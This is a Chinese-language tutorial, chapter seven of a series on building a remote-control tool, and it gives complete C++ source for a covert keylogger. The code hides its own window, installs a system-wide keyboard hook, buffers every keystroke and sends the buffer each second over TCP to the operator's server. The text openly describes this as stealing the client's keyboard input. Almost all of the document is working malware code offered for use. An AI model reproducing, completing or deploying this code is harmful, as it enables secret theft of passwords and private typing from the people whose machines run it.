如果你从没看过这系列教程请点击:从零开始做远控 简介篇
那么快就到来第七节了,这两节我会跟大家讲讲怎么实时窃取客户端的每一个键盘输入,然后发送到服务端。
这一节我们会先做客户端方面的编程。
KeyboardSpy类:
1.现在在客户端创建一个KeyboardSpy的类。
2.因为这里需要用到消息循环,所以我们要建立一个对话框类,但是把它隐藏好。
3.用到Hook技术监控系统的键盘输入。
4.发送窃取的数据给服务端。
代码
KeyboardSpy.h
/*
*
* Author: sumkee911@gmail.com
* Date: 22-12-2016
* Brief: 从客户端窃取键盘输入数据,再发给服务端。
*
*/
#ifndef KEYBOARDSPY_H
#define KEYBOARDSPY_H
#include "tcpsocket.h"
#include <windows.h>
#include <iostream>
#include <vector>
class KeyboardSpy
{
public:
KeyboardSpy();
~KeyboardSpy();
// 这个类的入口函数
static void startKeyboardSpy(std::string domain, int port);
// 因为要出里win32数据,
static void createDialogByNewThread();
static DWORD WINAPI threadProc(LPVOID args);
static BOOL WINAPI keyboardSpyWndProc(HWND hWnd,UINT uiMsg, WPARAM wParam,LPARAM lParam);
// 键盘数据结构
typedef struct
{
int iCode;
int iScanCode;
int iFlags;
int iTime;
int iExtraInfo;
} HookStruct;
// 安装和移除键盘窃取器,钩子
static HHOOK installKeyboardHook();
static void uninstallKeyboardHook(HHOOK hHook);
static LRESULT CALLBACK keyboardHookProc(int nCode,WPARAM wParam, LPARAM lParam);
// 更新或删除,socket,缓冲区
static void addSocket(TcpSocket *sock);
static std::vector<TcpSocket*> getSockets();
static void delSocket(TcpSocket *sock);
static void addBuffer(char data);
static void delBuffer();
// 发送窃取的数据
static void CALLBACK sendKeyboardData(HWND hWnd,UINT uiMsg,UINT uiTimer,DWORD dwTimer);
};
#endif // KEYBOARDSPY_H
KeyboardSpy.cpp
#include "keyboardspy.h"
// 互挤体,用来确保线程安全
static CRITICAL_SECTION gCs;
// 初始化类
static KeyboardSpy spy;
// 窗口句柄
static HWND hWnd = NULL;
// 键盘钩子句柄
static HHOOK gHHook = NULL;
// socket列表
static std::vector<TcpSocket*> gSockets;
// 键盘数据缓存区
static std::vector<char> gBuffer;
KeyboardSpy::KeyboardSpy()
{
// 初始化互挤体
InitializeCriticalSection(&gCs);
// 创建一个对话框来处理win32事件
createDialogByNewThread();
}
KeyboardSpy::~KeyboardSpy()
{
if(hWnd) {
// 关闭计时器
KillTimer(hWnd, 0);
// 删除socket
const int max = gSockets.size();
for (int i=0; i<max; ++i) {
gSockets.at(i)->dissconnect();
delete gSockets.at(i);
}
// 关闭窗口
DestroyWindow(hWnd);
// 移除键盘监控
if (gHHook) {
uninstallKeyboardHook(gHHook);
}
}
// 删除互挤体
DeleteCriticalSection(&gCs);
}
void KeyboardSpy::startKeyboardSpy(std::string domain, int port)
{
TcpSocket *sock = new TcpSocket();
if (!sock->connectTo(domain, port)) {
// 释放socket
delete sock;
std::cout << "Failed to connect server for keyboard spy" << std::endl;
std::fflush(stdout);
return;
}
// 把socket加到列表,当有键盘数据就会调用socket
addSocket(sock);
// 输出信息
std::cout << "Started keyboard spy success" << std::endl;
std::fflush(stdout);
}
void KeyboardSpy::createDialogByNewThread()
{
// 启动一个新线程来做监控
HANDLE h = CreateThread(NULL,0,KeyboardSpy::threadProc,(LPVOID)NULL,0,NULL);
if (!h) {
std::cout << "Failed to create new thread" << std::endl;
std::fflush(stdout);
}
}
DWORD KeyboardSpy::threadProc(LPVOID)
{
// 创建一个不可见的窗口来处理win32事件
WORD tempMem[1024];
LPDLGTEMPLATEA temp = (LPDLGTEMPLATEA)tempMem;
temp->style=WS_CAPTION; temp->dwExtendedStyle=0;
temp->x=0; temp->y=0;
temp->cx=0; temp->cy=0;
int ret = DialogBoxIndirectParamA(NULL,temp, NULL, keyboardSpyWndProc,(LPARAM)NULL);
if (ret == -1) {
std::cout << "Failed to create dialog box for keyboard spy" << std::endl;
std::fflush(stdout);
}
return true;
}
WINBOOL KeyboardSpy::keyboardSpyWndProc(HWND hWnd, UINT uiMsg, WPARAM , LPARAM )
{
switch(uiMsg) {
// 初始化监控
case WM_INITDIALOG: {
std::cout << "WM_INITDIALOG" << std::endl;
std::fflush(stdout);
// 定时发送窃取的数据
const int time = 1000; // 我这里设置1秒发送一次,你可以设置你自己想要的
SetTimer(hWnd,0, time, sendKeyboardData);
// 安装键盘钩子来截取系统的所有键盘输入
gHHook = installKeyboardHook();
if (!gHHook) {
std::cout << "Failed to install keyboard hook" << std::endl;
std::fflush(stdout);
}
break;
}
case WM_PAINT:
// 隐藏窗口
ShowWindow(hWnd,SW_HIDE);
break;
default:
break;
}
return false;
}
HHOOK KeyboardSpy::installKeyboardHook()
{
return SetWindowsHookExA(13, keyboardHookProc, GetModuleHandleA(NULL), 0);
}
void KeyboardSpy::uninstallKeyboardHook(HHOOK hHook)
{
UnhookWindowsHookEx(hHook);
}
LRESULT KeyboardSpy::keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (wParam == WM_KEYDOWN) {
HookStruct *hs = (HookStruct *)lParam;
char data = hs->iCode;
// 我这里只识别了常用的键盘,你如果想分析更多的话你可以自己重写这里,
// 转换键盘虚拟码,你兴趣修改可以参考:http://www.cnblogs.com/del/archive/2007/12/07/987364.html。
bool isCapital = GetKeyState(VK_CAPITAL);
if (hs->iCode >= 'A' && hs->iCode <= 'Z' && !isCapital) {
// 判断是否大写,如果不是就把原本大写的字符变小写
data = data + 0x20;
} else if (hs->iCode >= 0x60 && hs->iCode<= 0x69) {
// 小键盘
data = data - 0x30;
} else {
// 符号
switch (hs->iCode) {
case 106: data = '*'; break;
case 107: data = '+'; break;
case 109: data = '-'; break;
case 110: data = '.'; break;
case 111: data = '/'; break;
case 186: data = ';'; break;
case 187: data = '='; break;
case 188: data = ','; break;
case 189: data = '-'; break;
case 190: data = '.'; break;
case 191: data = '/'; break;
case 192: data = '`'; break;
case 219: data = '['; break;
case 220: data = '\\'; break;
case 221: data = ']'; break;
case 222: data = '\''; break;
}
}
// 把键盘数据加到缓冲区
addBuffer(data);
}
return CallNextHookEx(gHHook,nCode,wParam,lParam);
}
void KeyboardSpy::addSocket(TcpSocket *sock)
{
// 锁定函数,其他线程不能进来
EnterCriticalSection(&gCs);
gSockets.push_back(sock);
// 解除函数锁定
LeaveCriticalSection(&gCs);
}
std::vector<TcpSocket *> KeyboardSpy::getSockets()
{
// 锁定函数,其他线程不能进来
EnterCriticalSection(&gCs);
std::vector<TcpSocket *> sockets = gSockets;
// 解除函数锁定
LeaveCriticalSection(&gCs);
return sockets;
}
void KeyboardSpy::delSocket(TcpSocket *sock)
{
// 锁定函数,其他线程不能进来
EnterCriticalSection(&gCs);
std::vector<TcpSocket*>::iterator iter = gSockets.begin();
for (; iter!=gSockets.end(); ++iter) {
if (*iter == sock) {
gSockets.erase(iter);
break;
}
}
// 解除函数锁定
LeaveCriticalSection(&gCs);
}
void KeyboardSpy::addBuffer(char data)
{
gBuffer.push_back(data);
}
void KeyboardSpy::delBuffer()
{
gBuffer.clear();
}
void KeyboardSpy::sendKeyboardData(HWND , UINT , UINT , DWORD )
{
// 遍历所有已经连接的端口来发送键盘数据
if (gBuffer.size() > 0) {
std::vector<TcpSocket*> sockets = getSockets();
int max = sockets.size();
for (int i = 0; i<max; ++i) {
TcpSocket *sock = sockets.at(i);
if (!sock->sendData(gBuffer.data(), gBuffer.size())) {
// 删除无效socket
delSocket(sock);
// 释放socket
delete sock;
// 输出信息
std::cout << "Finished keyboard spy" << std::endl;
}
}
// 清空缓冲区
delBuffer();
}
}
void ZeroClient::doKeyboardSpy(std::map<std::string, std::string> &args)
{
// 开始键盘监控
KeyboardSpy::startKeyboardSpy(mSock.mIp, atoi(args["PORT"].data()));
}
本节完整代码:
下载完整代码